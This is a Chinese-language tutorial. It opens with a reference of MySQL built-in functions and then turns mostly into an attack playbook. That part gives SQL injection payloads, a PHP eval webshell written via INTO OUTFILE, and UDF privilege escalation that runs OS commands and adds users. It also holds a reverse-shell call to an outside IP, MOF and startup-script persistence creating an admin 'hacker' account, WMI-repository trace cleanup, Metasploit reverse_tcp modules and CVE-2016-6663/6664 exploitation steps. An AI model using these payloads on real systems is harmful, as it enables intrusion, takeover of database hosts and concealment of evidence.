Mysql内置函数的研究 & Mysql提权
数据库内置函数 + 提权
0x00 Mysql内置函数的介绍
① - 数学函数
ABS(x) # 返回x的绝对值
CEIL(x),CEILING(x) # 向上取整
FLOOR(x) # 向下取整
RAND() # 返回0~1的随机数
RAND(x) # 返回0~1的随机数,x值相同时返回的随机数相同
SIGN(x) # 返回x的符号,x是负数、0、正数分别返回- 1、0、1
PI() # 返回圆周率
TRUNCATE(x,y) # 返回数值x保留到⼩数点后y位的值
ROUND(x) # 返回离x最近的整数(四舍五⼊)
ROUND(x,y) # 保留x⼩数点后y位的值,但截断时要四舍五⼊
POW(x,y),POWER(x,y) # 返回x的y次⽅
SQRT(x) # 返回x的平⽅根
EXP(x) # 返回e的x次⽅
MOD(x,y) # 返回x除以y以后的余数
LOG(x) # 返回⾃然对数(以e为底的对数)
LOG10(x) # 返回以10为底的对数
RADIANS(x) # 将角度转换为弧度
DEGREES(x) # 将弧度转换为角度
SIN(x) # 求正弦值
ASIN(x) # 求反正弦值
COS(x) # 求余弦值
ACOS(x) # 求反余弦值
TAN(x) # 求正切值
ATAN(x),ATAN(x,y) # 求反正切值
COT(x) # 求余切值
② - 字符串函数
CHAR_LENGTH(s) # 返回字符串s的字符数
LENGTH(s) # 返回字符串s的⻓度
CONCAT(s1,s2,.....) # 将字符串s1,s2等多个字符串合并为⼀个字符串
CONCAT_WS(x,s1,s2,....) # 同COUCAT(s1,s2,.....),但是每个字符串之间要加上x
INSERT(s1,x,len,s2) # 将字符串s2替换s1的x位置开始⻓度为len的字符串
UPPER(s),UCASE(s) # 将字符串s的所有字符都变成⼤写字母
LOWER(s),LCASE(s) # 将字符串s的所有字符都变成⼩写字母
LEFT(s,n) # 返回字符串s的前n个字符
RIGHT(s,n) # 返回字符串s的后n个字符
LPAD(s1,len,s2) # 字符串s2来填充s1的开始处,使字符串⻓度达到len
RPAD(s1,len,s2) # 字符串s2来填充s1的结尾处,使字符串⻓度达到len
LTRIM(s) # 去掉字符串s开始处的空格
RTRIM(s) # 去掉字符串s结尾处的空格
TRIM(s) # 去掉字符串s开始处和结尾处的空格
TRIM(s1 FROM s) # 去掉字符串s中开始处和结尾处的字符串s1
REPEAT(s,n) # 将字符串s重复n次
SPACE(n) # 返回n个空格
REPLACE(s,s1,s2) # ⽤字符串s2代替字符串s中的字符串s1
STRCMP(s1,s2) # ⽐较字符串s1和s2
SUBSTRING(s,n,len) # 获取从字符串s中的第n个位置开始⻓度为len的字符串
MID(s,n,len) # 同SUBSTRING(s,n,len)
ATE(s1,s),POSTTION(s1 IN s) # 从字符串s中获取s1的开始位置
INSTR(s,s1) # 从字符串s中获取s1的开始位置
REVERSE(s) # 将字符串s的顺序反过来
ELT(n,s1,s2...) # 返回第n个字符串
FIELD(s,s1,s2...) # 返回第⼀个与字符串s匹配的字符串的位置
FIND_IN_SET(s1,s2) # 返回在字符串s2中与s1匹配的字符串的位置
MAKE_SET(x,s1,s2...) # 按x的⼆进制数从s1,s2......sn中选取字符串
③ - 日期时间函数
NOW(),CURRENT_TIMESTAMP(),LOCALTIME(),SYSDATE(),LOCALTIMESTAMP() # 返回当前日期和时间
CURDATE(),CURRENT_DATE() # 返回当前日期
CURTIME(),CURRENT_TIME() # 返回当前时间
UNIX_TIMESTAMP() # 以UNIX时间戳的形式返回当前时间
UNIX_TIMESTAMP(d) # 将时间d以UNIX时间戳的形式返回
FROM_UNIXTIME(d) # 把UNIX时间戳的时间转换为普通格式的时间
UTC_DATE() # 返回UTC(国际协调时间)日期
UTC_TIME() # 返回UTC时间
MONTH(d) # 返回日期d中的月份值,范围是1~12
MONTHNAME(d) # 返回日期d中的月份名称,如january
DAYNAME(d) # 返回日期d是星期⼏,如Monday
DAYOFWEEK(d) # 返回日期d是星期⼏,1表示星期日,2表示星期2
WEEKDAY(d) # 返回日期d是星期⼏,0表示星期⼀, 1表示星期2
WEEK(d) # 计算日期d是本年的第⼏个星期,范围是0-53
WEEKOFYEAR(d) # 计算日期d是本年的第⼏个星期,范围是1-53
DAYOFYEAR(d) # 计算日期d是本年的第⼏天
DAYOFMONTH(d) # 计算日期d是本月的第⼏天
YEAR(d) # 返回日期d中的年份值
QUARTER(d) # 返回日期d是第⼏季度,范围1-4
HOUR(t) # 返回时间t中的⼩时值
MINUTE(t) # 返回时间t中的分钟值
SECOND(t) # 返回时间t中的秒钟值
EXTRACT(type FROM d) # 从日期d中获取指定的值,type指定返回的值,如YEAR,HOUR等
TIME_TO_SEC(t) # 将时间t转换为秒
SEC_TO_TIME(s) # 将以秒为单位的时间s转换为时分秒的格式
TO_DAYS(d) # 计算日期d到0000年1⽉1⽇的天数
FROM_DAYS(n) # 计算从0000年1⽉1⽇开始n天后的日期
DATEDIFF(d1,d2) # 计算日期d1到d2之间相隔的天数
ADDDATE(d,n) # 计算开始日期d加上n天的日期
ADDDATE(d, INTERVAL expr type) # 计算起始日期d加上⼀个时间段后的日期
SUBDATE(d,n) # 计算起始日期d减去n天的日期
SUBDATE(d, INTERVAL expr type) # 计算起始日期d减去⼀个时间段后的日期
ADDTIME(t,n) # 计算起始时间t加上n秒的时间
SUBTIME(t,n) # 计算起始时间t减去n秒的时间
DATE_FORMAT(d,f) # 按照表达式f的要求显示日期d
TIME_FORMAT(t,f) # 按照表达式f的要求显示时间t
GET_FORMAT(type,s) # 根据字符串s获取type类型数据的显示格式
④ - 条件判断函数
IF(expr,v1,v2)
:如果表达式expr
成⽴,返回结果v1
,否则,返回结果v2
mysql> select if(1=1,'Success','Error');
+---------------------------+
| if(1=1,'Success','Error') |
+---------------------------+
| Success |
+---------------------------+
1 row in set (0.00 sec)
mysql> select if(1=2,'Success','Error');
+---------------------------+
| if(1=2,'Success','Error') |
+---------------------------+
| Error |
+---------------------------+
1 row in set (0.00 sec)
CASEWHEN expr1 THEN v1 [WHEN expr2 THEN v2...][ELSE vn] END
:相当于可以嵌套的IF-ELSE
语句
mysql> select
-> case
-> when 1=2 then '1=2'
-> when 1=1 then '1=1'
-> else '1=0'
-> end;
+---------------------------------------------------------------+
| case when 1=2 then '1=2' when 1=1 then '1=1' else '1=0' end |
+---------------------------------------------------------------+
| 1=1 |
+---------------------------------------------------------------+
1 row in set (0.00 sec)
⑤ - 系统信息函数
mysql> select version(); # 查看系统版本信息
+-----------+
| version() |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.04 sec)
mysql> select connection_id(); # 返回mysql服务的连接数
+-----------------+
| connection_id() |
+-----------------+
| 2 |
+-----------------+
1 row in set (0.00 sec)
mysql> select database(),schema(); # 返回当前数据库名
+------------+----------+
| database() | schema() |
+------------+----------+
| test | test |
+------------+----------+
1 row in set (0.00 sec)
mysql> select charset('仓颉'); # 返回指定字符串的字符集
+-----------------+
| charset('仓颉') |
+-----------------+
| utf8 |
+-----------------+
1 row in set, 1 warning (0.00 sec)
mysql> select collation('仓颉'); # 返回指定字符串的字符排列方式
+-------------------+
| collation('仓颉') |
+-------------------+
| utf8_general_ci |
+-------------------+
1 row in set, 1 warning (0.00 sec)
mysql> select last_insert_id(); # 返回最后生成的auto_increment值
+------------------+
| last_insert_id() |
+------------------+
| 0 |
+------------------+
1 row in set (0.00 sec)
⑥ - 加密解密函数
mysql> select password('123456'); # 使用mysql的加密方法(用户密码的加密方法)对数据进行加密
+-------------------------------------------+
| password('123456') |
+-------------------------------------------+
| *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 |
+-------------------------------------------+
1 row in set (0.00 sec)
mysql> select md5('123456'); # 使用md5加密方法对数据进行加密
+----------------------------------+
| md5('123456') |
+----------------------------------+
| e10adc3949ba59abbe56e057f20f883e |
+----------------------------------+
1 row in set (0.04 sec)
# 使⽤字符串pswd_str来加密字符串str,加密结果是一个二进制数,必须使⽤BLOB类型来保持
mysql> select encode('12345','key');
+-----------------------+
| encode('12345','key') |
+-----------------------+
| 韒L鏻 |
+-----------------------+
1 row in set (0.00 sec)
# 通过密钥解密使用encode()方法加密的数据
mysql> select decode('韒L鏻','key');
+-----------------------+
| decode('韒L鏻','key') |
+-----------------------+
| 12345 |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
⑦ - 其它函数
FORMAT(x,n) # 格式化函数,可以讲数字x进⾏格式化,将x保留到⼩数点后n位,这个过程需要进行四舍五⼊。
ASCII(s) # 返回字符串s的第⼀个字符的ASSCII码
BIN(x) # 返回x的⼆进制编码
HEX(x) # 返回x的⼗六进制编码
OCT(x) # 返回x的⼋进制编码
CONV(x,f1,f2) # 将x从f1进制数变成f2进制数
INET_ATON(IP) # 将IP地址转换为数字表示,IP值需要加上引号
INET_NTOA(n) # 可以将数字n转换成IP的形式
CONVERT(s USING cs) # 将字符串s的字符集变成cs
# 这两个函数将x变成type类型,这两个函数只对BINARY,CHAR,DATE,DATETIME,TIME,SIGNED INTEGER,UNSIGNED INTEGER这些类型起作用,但这两种⽅法只是改变了输出值得数据类型,并没有改变表中字段的类型
CAST(x AS type),CONVERT(x,type)
# 加锁函数,定义⼀个名称为name、持续时间⻓度为time秒的锁,如果锁定成功,返回1,如果尝试超时,返回0,如果遇到错误,返回NULL
GET_LOCT(name,time)
# 解除名称为name的锁,如果解锁成功,返回1,如果尝试超时,返回0,如果解锁失败,返回NULL
RELEASE_LOCK(name)
# 判断是否使⽤名为name的锁,如果使⽤,返回0,否则返回1
IS_FREE_LOCK(name)
0x01 Mysql内置函数的使用场景
① - SQL注入常用函数
获取Mysql版本信息:version()
/ @@version
获取用户名:user()
获取当前数据库:database()
获取secure_file_priv信息:@@secure_file_priv
获取长度:length()
截取函数:mid()
拼接函数:concat()
简化输出:group_concat()
报错注入:extractvalue()
/ updatexml()
时间延迟:sleep()
获取ASCII码:ASCII()
读取文件:load_file()
② - 获取数据
?id=1' and 1=1%23
?id=1' order by 3%23
?id=-1' union select 1,2,3%23
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'%23
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users%23
③ - 盲注
?id=1' and if(1=1,sleep(3),0)%23
?id=1' and if(ascii(mid((select group_concat(schema_name) from information_schema.schemata),1,1))>>7%261=0,sleep(3),0)%23
?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>>7%261=0,sleep(3),0)%23
?id=1' and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))>>7%261=0,sleep(3),0)%23
?id=1' and if(ascii(mid((select group_concat(users) from security.users),1,1))>>7%261=0,sleep(3),0)%23
④ - bypass
利用功能相同的函数达到绕过过滤的目的
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
时间延迟
sleep(5)
BENCHMARK(count,expr) # 重复执行expr语句count次,用来测试某些特定操作的执行速度
编码转换
Char(49)
Hex('a')
Unhex(61)
Ascii(1)
冷门的报错函数:不仅冷门,而且版本不兼容,很多版本复现不了
# geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
# polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
# multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
# linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
# multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
# exp()
select * from test where id=1 and exp(~(select * from(select user())a));
0x02 MySQL的权限获取
① - 数据库操作权限
- 3306端口弱口令爆破
- getshell后去网站数据库配置文件中拿到明文的密码信息
- sqlmap注入的
--sql-shell
模式 - 利用诸如CVE-2012-2122 等此类漏洞直接拿下 MySQL 权限
② - webshell权限
into outfile写文件
条件
- 已知网站可访问路径的绝对路径,且Mysql对网站可访问路径有写权限
- 数据库用户具有高权限
- secure_file_priv 无限制
语句
payload:select '<?php @eval($_POST[cmd]) ?>' into outfile '/var/www/html/info.php';
sqlmap:sqlmap -u "http://x.x.x.x/?id=x" --file-write="./shell.php" --file-dest="/var/www/html/shell.php"
日志文件写shell
条件
- mysql连接用户有权限开启日志记录和更换日志路径/ROOT权限
- 已知网站可访问路径的绝对路径,且Mysql对网站可访问路径有写权限
语句
# 修改慢查询日志路径
set global slow_query_log_file='D:/Server/phpstudy/PHPTutorial/WWW/logShell.php';
# 开启慢查询日志
set global slow_query_log=1;
# 写入websh
select '<?php phpinfo(); ?>' or sleep(11);
③ - Hash获取与解密
条件
- 拿到了SQL注入的DBA权限
- 3306端口能够访问,即可以通过远程连接的方式登录数据库
语句
mysql <= 5.6:select host, user, password from mysql.user;
mysql >= 5.7: select host,user,authentication_string from mysql.user;
破解
在获取hash值之后,可以利用如下方式破解:
④ - 历史漏洞
-
yaSSL 缓冲区溢出:缓冲区溢出漏洞
msf6 > use exploit/windows/mysql/mysql_yassl_hello msf6 > use exploit/linux/mysql/mysql_yassl_hello
-
CVE-2012-2122:知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf6 > set rhosts 127.0.0.1 msf6 > run
0x03 MySQL的手动UDF提权
① - 原理介绍
UDF
User Defined Function,自定义函数,是Mysql数据库的一个扩展接口。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用。其文件后缀为.dll
或.so
,常用C语言编写。
利用场景
- 当拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权时发现补丁全部被修补,这时候就需要利用第三方应用提权,当Mysql权限比较高的时候,我们就可以利用UDF提权
- 在拿到了MySQL的DBA权限之后,找不到网站的绝对路径,出现了登录的数据库拿不到shell的情况
② - 准备
利用前提
- Mysql允许导入导出文件:secure_file_priv 无限制
- Mysql以高权限用户启动:该账号需要对数据库
mysql
具有insert和delete权限,即操作其中的function表 - 未开启
-skip-grant-tables
:默认未开启,在开启的情况下,UDF不会被加载
查看权限
# 查看secure_file_priv 限制
mysql> show variables like "%secure_file_priv%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.01 sec)
# 查看当前用户权限
/*
需要拥有以下权限——
Insert_priv: Y
Update_priv: Y
Delete_priv: Y
File_priv: Y
*/
mysql> select * from mysql.user where user = substring_index(user(),'@',1) \G;
# 结果显示比较长,这里就不放过来了
文件准备
利用sqlimap的文件
sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
,解码方法如下:
D:\Desktop\网安工具\Sqlmap\data\udf\mysql
λ tree
卷 Data 的文件夹 PATH 列表
卷序列号为 C0000100 0A9F:34F4
D:.
├─linux
│ ├─32
│ └─64
└─windows
├─32
└─64
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ ls
__init__.py* cloak.py* README.txt
# 解码 32 位的 Linux 动态链接库
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
D:\Desktop\网安工具\Sqlmap\extra\cloak
λ ls
__init__.py* cloak.py* lib_mysqludf_sys_32.dll* lib_mysqludf_sys_32.so lib_mysqludf_sys_64.dll* lib_mysqludf_sys_64.so README.txt
利用MSF的文件
位置:MSF 根目录/embedded/framework/data/exploits/mysql
Metasploit 自带的动态链接库文件无需解码,开箱即可食用
动态链接库内置函数
sys_eval # 执⾏任意命令,并将输出返回。
sys_exec # 执⾏任意命令,并将退出码返回。
sys_get # 获取⼀个环境变量。
sys_set # 创建或修改⼀个环境变量
③ - 提权
-- 寻找插件目录
如果Mysql版本小于5.1
win2000服务器需要将udf.dll文件导入到C:\Winnt\udf.dll
下
win2003服务器需要将udf.dll文件导入到C:\Windows\udf.dll
下
如果Mysql版本大于5.1
udf.dll文件必须放在Mysql安装目录的lib\plugin
文件夹下
接下来需要找到插件对应的目录,可以使用如下SQL语句进行查询
mysql> show variables like '%plugin%'; # Windows下plugin文件夹默认不存在
+-----------------------------------------------+------------------------+
| Variable_name | Value |
+-----------------------------------------------+------------------------+
| default_authentication_plugin | caching_sha2_password |
| plugin_dir | /usr/lib/mysql/plugin/ |
| replication_optimize_for_static_plugin_config | OFF |
+-----------------------------------------------+------------------------+
3 rows in set (0.00 sec)
如果不存在的话,可以通过找到Mysql安装路径再创建的方法进行查询,我们以Windows环境举例
mysql> select @@basedir;
+---------------------------------------+
| @@basedir |
+---------------------------------------+
| D:/Server/phpstudy/PHPTutorial/MySQL/ |
+---------------------------------------+
1 row in set (0.04 sec)
mysql> select 233 into dumpfile 'D:\\Server\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
1 - Can't create/write to file 'D:\Server\phpstudy\PHPTutorial\MySQL\lib\plugin::$index_allocation' (Errcode: 13)
这里语句执行报错,因为通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能,所以这种方法仅供参考
-- 写入动态链接库
查看服务器版本信息,以此判断使用哪一个文件
mysql> show variables like 'version_compile_%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Linux |
| version_compile_zlib | 1.2.11 |
+-------------------------+--------+
3 rows in set (0.00 sec)
使用Linux_64的文件
使用sqlmap写入
SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
原生SQL语句写入
MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)
Windows
Windows下plugin文件夹默认不存在,在没有创建plugin文件夹时,写入会出错 —— ERROR 1 (HY000): Can't create/write to file 'D:\Server\phpstudy\PHPTutorial\Mysql\lib\plugin\udf.dll' (Errcode: 2)
但是因为通过 NTFS ADS流创建文件夹,没有成功过,为了之后的演示成功,我们手动创建\lib
下的plugin
目录
mysql> SELECT 0x4d5a900003...000 into dumpfile 'D:/Server/phpstudy/PHPTutorial/Mysql/lib/plugin/udf.dll';
Query OK, 1 row affected (0.00 sec)
Linux
Linux下plugin文件夹虽然存在,但是mysql对其没有写入权限,需要对其进行授权 ——
hikki@RopeKnot:/usr/lib/mysql$ sudo chmod -R 777 ./plugin/
不然会报错:ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/udf.so' (OS errno 13 - Permission denied)
SELECT 0x7f454c4600000...0000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- 创建自定义函数并调用命令
Windows
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| ropeknot\hikki |
+--------------------+
1 row in set (0.28 sec)
mysql> select sys_eval('net user test test /add');
+-------------------------------------+
| sys_eval('net user test test /add') |
+-------------------------------------+
| 命令成功完成 |
+-------------------------------------+
1 row in set (0.23 sec)
mysql> select sys_eval('net user');
+---------------------------------------------------------------------------------------+
| sys_eval('net user') |
+---------------------------------------------------------------------------------------+
| \\ROPEKNOT 的用户帐户 |
----------------------------------------------------------------------------------------+
| Administrator DefaultAccount Guest |
| hikki test WDAGUtilityAccount |
| 命令成功完成。 |
+----------------------------------------------------------------------------------------+
1 row in set (0.19 sec)
能够创建新用户,可见在Windows 系统下拿到了最高权限
Linux
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
Query OK, 0 rows affected (0.02 sec)
mysql> select * from mysql.func;
+----------+-----+--------+----------+
| name | ret | dl | type |
+----------+-----+--------+----------+
| sys_eval | 0 | udf.so | function |
+----------+-----+--------+----------+
1 row in set (0.00 sec)
mysql> select sys_eval('whoami');
+----------------------------------------+
| sys_eval('whoami') |
+----------------------------------------+
| 0x6D7973716C | # 0x6D7973716C = 'root'
+----------------------------------------+
1 row in set (0.00 sec)
-- 删除自定义函数
mysql> drop function sys_eval;
Query OK, 0 rows affected (0.01 sec)
mysql> select sys_eval('whoami');
ERROR 1046 (3D000): No database selected
0x04 MySQL UDF提权工具
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了
① - UDF提权大马
链接:tools/udf.php at master · echohun/tools (github.com)
利用条件
- 与UDF提权条件一致
- Windows环境下需要
/lib/plugin
目录存在,Linux环境下需要mysql有操作/usr/lib/mysql/plugin
的权限
利用方式
-
登录连接数据库
-
导入UDF文件
-
创建函数
-
执行命令
② - Navicat外连技术
使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上,然后通过Navicat连接
文件位置
连接步骤
-
将指定php脚本上传至网站,访问执行,进行连接测试
-
直接连接即可
测试环境因为防火墙的问题一直连接超时,下次有机会用到了再去试试
0x05 反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些
这个动态链接库比较老,但是里面的功能更多更实用
cmdshell # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数
这里就直接来测试以下反弹shell的功能,这里以Windows系统为例
寻找插件目录
mysql> show variables like '%plugin%';
+---------------+--------------------------------------------------+
| Variable_name | Value |
+---------------+--------------------------------------------------+
| plugin_dir | D:\Server\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+--------------------------------------------------+
1 row in set (0.00 sec)
写入动态链接库
每次用dll文件都需要重新搞挺麻烦的 就写了一个python脚本能够将sql语句自动生成
# dll文件的路径
dll_path = './udf.dll'
# 插件目录/保存的dll文件名
target_path = 'D:/Server/phpstudy/PHPTutorial/MySQL/lib/plugin/udf.dll'
"""
如果在Windows下使用需要注意两点: 1. 反斜杠要打两个,正斜杠则不需要; 2. 需要注意plugin目录是否存在,不存在会写入失败
如果在Linux下使用需要注意是否权限问题
"""
f = open(dll_path, 'rb')
data_bin = f.read()
f.close()
data_hex = data_bin.hex()
result = "SELECT 0x" + data_hex + " INTO DUMPFILE '{}';".format(target_path)
f = open('sql.txt', 'w')
f.write(result)
f.close()
print("input > sql.txt")
将sql.txt拿到的数据放到mysql命令行中执行
创建自定义函数并调用命令
mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
Query OK, 0 rows affected (0.02 sec)
mysql> select backshell('120.79.135.77',1234);
+---------------------------------+
| backshell('120.79.135.77',1234) |
+---------------------------------+
| ִ�гɹ� |
+---------------------------------+
1 row in set (0.17 sec)
删除自定义函数
mysql> drop function backshell;
Query OK, 0 rows affected (0.04 sec)
mysql> select backshell('120.79.135.77',1234);
1305 - FUNCTION backshell does not exist
0x06 MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是在C:/Windows/system32/wbem/mof/
目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了
MOF脚本举例
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/
目录下,依然可以使用之前写的脚本对其进行编码后执行,只要将保存的路径换为:C:/windows/system32/wbem/mof/test.mof
即可
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/
目录下 否则出现在 c:/windows/system32/wbem/bad
目录下
痕迹清理
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
利用MSF进行MOF提权
msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息
msf6 > set rhosts 10.211.55.21
msf6 > set username root
msf6 > set password root
msf6 > run
0x07 启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
启动项路径
Windows Server 2003
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
Windows Server 2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
在知道路径之后就可以往启动项路径里面写入脚本,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的
VB脚本示例
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
Mysql写入启动项
同样是利用into dumpfile
,这里就不做举例了,同样可以利用脚本,写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行
MSF启动项提权
msf6 > use exploit/windows/mysql/mysql_start_up
# 配置 MySQL 连接信息
msf6 > set rhosts 10.211.55.6
msf6 > set username root
msf6 > set password root
msf6 > run
# MSF 会写入 exe 木马到启动项中,执行完成后开启监听会话
msf6 > handler -H 10.20.24.244 -P 4444 -p windows/meterpreter/reverse_tcp
# 当目标系统重新登录的时候,MSF 这里可以看到已经成功上线了
0x08 CVE-2016-6663: www-data权限提升为mysql权限
测试环境是国光大佬搭的docker
# 拉取镜像
docker pull sqlsec/cve-2016-6663
# 部署镜像
docker run -d -p 3306:3306 -p 8080:80 --name CVE-2016-6663 sqlsec/cve-2016-6663
① - POC
MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit (legalhackers.com)
② - 利用条件
- Getshell 拿到 www-data 权限
- 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
- 关键提取步骤需要在交互环境下,所以需要反弹 shell
- MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
- MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17
③ - 复现
getshell
获取www-data权限
利用webshell管理工具上传POC

反弹shell
编译EXP
命令:gcc poc.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
执行EXP
命令:./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
这个是要看运气的,耐心等就好了,总能成功的,多等几分钟
0x09 CVE-2016-6664: mysql权限提升为ROOT权限
① - POC
https://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
② - 利用条件
-
目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式
通过
cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf
查看没有包含syslog
字样即可 -
需要在mysql权限下运行才能利用(可通过CVE-2016-6663先获取mysql权限)
③ - 复现
查看日志的配置信息
命令:cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf
出现上述信息说明可以进行下一步提权,要是出现[mysqld_safe] syslog
